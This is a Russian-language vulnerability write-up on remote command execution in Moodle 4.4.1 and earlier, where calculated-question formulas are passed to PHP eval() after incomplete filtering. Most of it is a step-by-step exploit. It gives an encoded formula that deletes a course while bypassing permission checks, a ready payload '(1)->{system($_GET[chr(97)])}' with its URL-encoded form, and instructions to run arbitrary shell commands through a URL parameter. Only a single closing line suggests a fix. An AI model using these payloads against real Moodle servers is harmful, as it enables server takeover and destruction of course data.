
Название приложения: Moodle
Версия сборки: moodle-4.4.1
Затронутые версии: 4.4–4.4.1, 4.3–4.3.5, 4.2–4.2.8, 4.1–4.1.11 и более ранние неподдерживаемые версии
Ссылка для скачивания: moodle-4.4.1
Злоумышленники, имеющие право создавать или изменять вопросы в курсе Moodle, могут создавать вредоносные входные данные для вычисляемых вопросов, которые можно использовать для выполнения произвольных команд на базовой системе.

Функция qtype_calculated_find_formula_errors обеспечивает корректность вводимых формул в Moodle, предотвращая синтаксические ошибки.

Переменные заменяются числом 1.0, формула приводится к нижнему регистру, а пробелы удаляются.


Основная логика проверки реализована путём обхода формулы и выделения самого левого математического выражения, которое можно распознать по отсутствию вложенных скобок. Затем это выражение заменяется на 1.0

Наконец, после того как регулярное выражение больше не возвращает дополнительных совпадений, формула считается допустимой, если она содержит только безопасные операторы или числа. Исходная формула затем передаётся напрямую в eval.
Проверка результата выполняется путём передачи формулы в функцию php eval() после неполной фильтрации. Существует 2 подхода для обхода логики проверки:

Плейсхолдеры переменных, такие как {a}, заменяются их значениями, заключёнными в (). Если мы добавим {a} в приведённое выше выражение, соответствующее 'PRINTF', результатом будет 'PRINTF'(1), поэтому можно определить формулу ответа из двух частей: a (function_name) и a {variable}.
2) Неопределённые переменные не заменяются перед передачей в eval(), поэтому они остаются нетронутыми как часть формулы. Кроме того, проверки имён переменных менее строгие, чем проверки, применяемые ко всем остальным частям формулы. Этим можно злоупотребить для вызова произвольных функций с использованием синтаксиса php object->{"member"}.
Создайте вычисляемый вопрос с одной переменной, например {a}

Сохраните вопрос и задайте диапазон значений переменной точно равный идентификатору курса — 3

Сохраните вопрос, затем измените выражение на
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

Сохранение изменённого вопроса приведёт к ошибке, но вопрос всё равно будет сохранён. Вернитесь в банк вопросов и просмотрите вопрос: функция DELETE_COURSE удалит курс с указанным ID, игнорируя все проверки прав.


Создайте вычисляемый вопрос. Установите формулу ответа:
(1)->{system($_GET[chr(97)])}

Выражение преобразуется в 1-0-system($_GET{chr(97)})

Перехватите запрос и измените обратно на (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

Появляется ошибка exception-system():Argument#1($command) cannotbe empty

Передайте нужную команду, добавив &a=[arbitrary command] в URL. Вывод указанной системной команды будет включён в начало результирующего HTTP-ответа.
A=id

A=ls

Исправьте функцию дезинфекции qtype_calculated_find_formula_errors, чтобы /question/type/calculated/questiontype.php всегда возвращал false, если вычисляемые вопросы не используются.